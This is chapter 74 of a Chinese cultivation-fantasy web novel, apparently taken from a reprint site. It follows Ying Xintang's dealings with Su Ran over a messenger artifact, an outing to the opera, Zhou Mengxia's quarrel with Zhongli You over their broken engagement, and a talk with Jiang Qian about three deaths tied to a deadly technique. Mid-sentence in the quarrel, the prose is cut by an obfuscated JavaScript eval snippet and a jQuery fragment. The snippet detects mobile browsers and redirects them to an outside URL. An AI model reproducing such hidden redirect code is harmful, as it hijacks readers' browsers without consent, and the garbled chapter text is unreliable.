第七十四章
宿然看着悬在应心瑭掌上飞速旋转的七刃刀,不以为意地说道:“多刃法器并不少见,不过像你手中这种可收展的不怎么炼。”
应心瑭暗道,那就是说天巧门有能做类似武器的人。
“是啊。若不是武道或机关修者,用这种还要收展的法器确实麻烦。”她收起七刃刀后才走近几步。
宿然诚恳道:“你这点修为,确实要多准备些法器。最好是真力一点直接能用的。不然,下次遇见任自舟,可没这么好运。”
应心瑭点头认可道:“宿公子待会就要走了吗?我是想挑些法器放在身上,以后怎么联系你呢。”
“可以用这个。”宿然从储物机关法器里,召出来一只外形像飞禽的东西。
应心瑭稍一倾身探头,感觉这储物机关法器,容量特大的样子。
宿然还说收展的法器麻烦,他自己这储物机关就是层层展开得。
“这是——可以传递消息的东西?”应心瑭双手捧着不动弹的飞禽状法器问。
宿然郑重介绍:“燕榫枢,可以传递绝密消息。”
“那我买了,以后好联系你。”
应心瑭想,天巧门真有墨门修者,也是隐姓埋名,先认识下宿然就好。
“八十个出自陶城的纯净灵石,或等值灵物、金银。”宿然唇角一绷说道。
这么贵,都能买几十沓子传信符了!
应心瑭看着宿然又笑得阴恻恻,感觉不买就别想套他近乎。
可是她没有这么多钱啊。
“宿公子,天巧门接受定制法器吗?”应心瑭掏出一张符纸。
宿然接过,只看几眼,惊叹一下,赶紧收住。
“可以。”
“好。那我确定需要定制的话,就找你。”应心瑭抽回符纸说道。
宿然眼睛盯着被抽走的符纸:“你这法器精细复杂,除了天巧门,再无炼器门派能接受定制。”
“我主要是觉得,这种法器才适合我带在身上。可是怎么天巧门保证,只给我一人定制,而不是——”
“绝对不会。你要是不放心,我们可以立契。若是未经你准予,还有他人在天巧门购得相同法器,那我宿然以命相赔。”
“宿公子,哪有这么严重。昨日还是你出面帮我们呢。只是这图纸尚且不全,我还要再完善。”
“我也可以参详,图纸你先放我这儿,就当燕榫枢的等价金。”
“那就麻烦宿公子了。”
应心瑭递过符纸,接过燕榫枢。
与其要花大价钱联系宿然,还不如让宿然来找她。
她也想知道师父师叔留下的图纸,锻造出来究竟会是什么样子。
至于图纸不全,是因为她看不太懂,平时比着画出来就这样了。
原本的图纸,宿然不立契,她是不会交出去的。
宿然着急研究图纸,就没和应心瑭寒暄。
两人分开,各自离去。
-
公主殿内,应心瑭和周孟夏、向莲、隋俞在一起讨论。
四人当然不会相信,周仲斐和周季辉认定的姻缘,与会幻术的上官翀没有一点关系。
“无非就是上官翀让她俩都喜欢自己。”隋俞看了看周孟夏说道。
周孟夏愁道:“上官翀死了,但她们还是不愿相信,这是事实。”
应心瑭也没办法:“可能消除幻术影响需要时间。我们早些回去,问问郑师姐。”
“只能这样了。我要带她们一起去宗门。她们嫌远不太愿意。”周孟夏摇摇头。
“要想就近修行,除非我们宗门也像道门一样,到处都是。”
应心瑭想,若是胡国有忎峄门设下分阙,她哪里还用跑到岐国去找司星序救命。
……
隔日从费国启程。
一行人路过吕国,也就是曾经的应国。
应心瑭在众人休息时,去打听了应国公府族人的去向。
可惜,应国公府早就树倒猢狲散。
听见应心瑭打听那个刺杀岐天子的族中女公子,也是讳莫如深。
应心瑭小心问了两人认不认识应成蹊,一无所获。
看来师父离开应国府之后,改了名字。
月色初上,客舍青青。
司空绾在窗边看见应心瑭如往日般,神采奕奕步伐轻盈地走着。
刚入仙门没几个月的少年,还没见识够修真界的争夺,总是这么开心地充满期待。
司空绾秋波双眼朝天看,她早就忘了,自己刚入修真界时的兴奋模样。
“哎司空绾,叫大家都下来玩儿啊,那边有戏楼。”应心瑭仰头喊道。
司空绾低头,没兴趣和三个幼稚鬼舍友一块儿听戏。
此时,向莲正准备做饭给大家伙儿吃。
周孟夏和隋俞听见司空绾传话,兴冲冲下去找应心瑭。
司空绾找到向莲,简单说完就走:“应心瑭她们说,去外面吃饭。”
向莲听了头垂得很低,一双杏眸顿时蕴了眼泪。
应心瑭、周孟夏和隋俞不愿意吃她做的饭,她们三个要出去吃。
三人在客舍外等向莲出来,没一会儿周孟夏已经不耐烦,和隋俞先去戏楼。
应心瑭干脆回去一趟喊了一声:“向莲,快走啊去戏楼啦。司空绾——”
“别烦我。”司空绾在屋里打断道。
“哦来啦——”
向莲转哭为喜,连忙擦干眼泪,怕见到应心瑭三人被看出来。
原来不是不吃她做的饭,是要一起出去吃的意思啊。
是她误会了司空绾的话……
-
戏楼内,是经久不衰的生离死别。
“两百多年前,那个殷朝大王,真得为狐妖宠妃挖了忠臣的心吗?”周孟夏身为公主难以置信。
应心瑭接道:“当今不也有一个,破城之际将国师和宠妃扔下,自己带精锐逃走的大王嘛。”
隋俞压低声音道:“你可小点声吧。”
应心瑭没说话,谁做大王跟她可没关系。
两百多年前岐代殷称王统治天下。
一百多年前吕氏赶下应氏,成为这里的国君。
如今,封国国君想称王,她家乡胡国毗邻的荆国早就称过王。
王侯将相,你方唱罢我登场。
哎对了,司空绾的姓氏,应该是祖上有人做到大司空的位置,所以后人才姓司空延续下来。
不知,司空绾又是什么样的身世。
应心瑭从来没问过,司空绾平时也不爱跟舍友说太多话。
向莲跟着宗门三位好友认真听戏,她从来没有这么轻松过。
刚入门时,总怕自己和应心瑭、公主差得太远。
怕同门不理出身里巷农户的她,怕修行不好让郑师姐失望,怕自己不讨人喜欢。
入门一个月,才发现还有比自己更差的隋俞。
才发现厉害的应心瑭和尊贵的周孟夏,拌嘴时候的胡搅蛮缠,和邻里家铁锤大丫打嘴仗没什么不同。
才发现端木嘉经常带着一群伙伴,和应心瑭、周孟夏没事儿就吵架。
原来,这么好的应心瑭和周孟夏,还是有不少同门不喜欢她们。
想到这里,向莲垂下头,尖尖的下巴又戳在衣领上。
因发现舍友也有不讨人喜欢的时候而安心,她羞愧了。
隋俞没心思听末路大王和倾城妖姬的死别。
他悄悄摸出储物袋中的宝贝,就是上官翀死后遗留的那本破损书册。
上官翀用得是什么幻术?
到底是怎么将他和周孟夏、应心瑭给卷进书中去的?
周孟夏看着向莲给自己斟茶倒水,端起茶盏一口闷了,随手摔在桌子上,不在意将向莲惊了一下。
生辰宴上,钟离宥作为曾经在费国待过几年的质子,是亲自送了贺礼过来得。
可是多日过去,钟离宥始终没和她说过一句话。
就连离开回宗门之前,钟离宥也是和她们一行分开走了。
周孟夏就是觉得气,又不知该如何消解。
她生来就是公主,以后会是剑仙公主,就该被哄着宠着的。
偏偏钟离宥敢退她的婚!
还——还没有认认真真哄过。
台下人各有身世愿望。
台上人已经国破家亡。
-
周孟夏有气那是要找地方撒的。
这不,一行人才刚回宗门,她就堵住了钟离宥。
“钟离宥,你——”
钟离宥知晓会听见什么,打断道:“周孟夏,从我们之间有婚约开始,你说了多少次退婚。”
“我说了多少次,不都是发发脾气而已。你只说了一次——”就真的退婚了。
“都是父母之命,你说退婚就是任性好玩。我提就不行?”
你可知你每说一次退婚玩,我身为质子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447714|161126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要被人奚落多久。
钟离宥年少老成,平日和左长老一样不苟言笑。
眼角内敛眉尾沉重,过于平直的唇角比寂然的眼睛显眼。
如此面相神情,令他的少年意气降到可以忽略。
仅剩高高束发上湛蓝色长长发带,还能让人想起他只是十七岁的少年。
看着周孟夏气急败坏,钟离宥竟然笑了一下:“你知道我自小没有母亲,可知她去了哪里?有人可以为了修行扔下不满月的孩子,我为了修行退婚,也不过是有其母必有其子。”
钟离宥说着,脑海中是国君父亲声声埋怨:留不住她,要你何用。
周孟夏回到屋舍,摔了一地东西。
向莲下堂回来后,忙不迭地收拾。
-
应心瑭刚回宗门,先向郑原说明此次遇险的具体情形。
剑阁下堂之后,就被姜遣带到寸毫峰了。
院外翠竹潇潇,屋内汀芷墨香。
应心瑭进门所见,是一展比自己高的屏风。
跟着姜遣绕过屏风,目光被一幅蒙住的画像吸引。
画得什么,干嘛盖住不让人看。
朦胧半透的浅绛纱缎,遮住得好像是一个男子的画像。
身形修长,束发束腕,手执长剑,看不清五官模样。
应心瑭周身毫不收敛的风动,掀开纱缎一角,吹得画卷最下木轴轻微振动。
姜遣坐下,随即招手:“过来坐。”
刚才一瞬间,他很希望应心瑭能看清,画像上究竟是谁。
应心瑭隔着茶桌,坐在对面。
“姜师兄,这是第三个如此死法的人了。”
“你有什么看法?”
姜遣这么问,不像是等着外院师妹汇报,倒像是以前在岐国问询同僚。
“啊?我——卓钧、白棋和上官翀三人,在性别、身份、经历和修为上,并没有共同点,就只是死得时候一模一样。”
应心瑭说完抬头,见到姜遣还在等她说什么。
“就这些啊。当初我们没有杀卓钧的意思,上官翀我们也想活捉回去,白棋我们不在现场。若是知晓用此邪功换取法力会殒命,那还不如先被抓。”
“所以,他们应该不知道练此功法,在危急时刻换取修为,会让自己变成那样吧。”
姜遣听应心瑭说得很快,显然已经多番思虑。
他补充道:“共同点还是有的。卓钧用丹药拔苗助长结成外丹,欠下家族积攒的积蓄,急于破境成为半步真人。白棋自幼生病,想拿向莲移魂换体却失败,命不久矣。”
应心瑭接道:“上官翀一朝坠马不良于行,被祖父放弃培养,急于治好腿伤,联姻费国国君族亲改变现状。”
她说完沉思一下,又道:“所以,这门邪功可以帮他们解决眼前焦虑的困难。但这三人,卓钧想破境,白棋想换体,上官翀选姻缘。”
姜遣也不甚明白。
他看着应心瑭手指绕着团髻上垂下来的细长编发,听她念叨:“这都不一样啊。难不成,这是套全能功法集?”
姜遣去往淄国太初学宫一遭,刻意接触了诸子百门不少人。
哪怕是闲聊修真界奇闻异谈,也没听过看起来“杂七杂八”,死法还是魂断身腐的功法。
“刚入修真界没多久,认知潜力巨大很正常。”姜遣一本正经说道。
应心瑭随口接道:“进步空间更大。”
姜遣垂眸,这样面对面交谈的感觉,对他来说很熟悉。
那对应心瑭来说呢?
他执笔蘸墨迅速勾勒,画下带着面具的自画像。
一个情字不知何处落墨,唯能化作墨迹靠近她。
应心瑭不客气地接过画像符纸,上次的在费国用掉了。
姜遣到底要不要处置许子庭啊,她管不着当然要收下保命符。
姜遣看着眼前人将画符收入腕上的玉镯储物法器。
入宗门前总是沉甸甸的一双眼睛,已经在不知不觉间融为清风朗月。
目光中刚隐了些许藏不住的笑意,他就听应心瑭说道:“姜师兄,我要下去。”
“你去哪儿!”姜遣语气带着紧张,他是想留下应心瑭的。
应心瑭十岁之后身边就没有亲近信任之人教导,字写得歪,琴不会弹,书读得少。
他可以教得,亲自教,慢慢教。
可是,他听应心瑭说道:“我要去找公子。都一个多月没见他了。”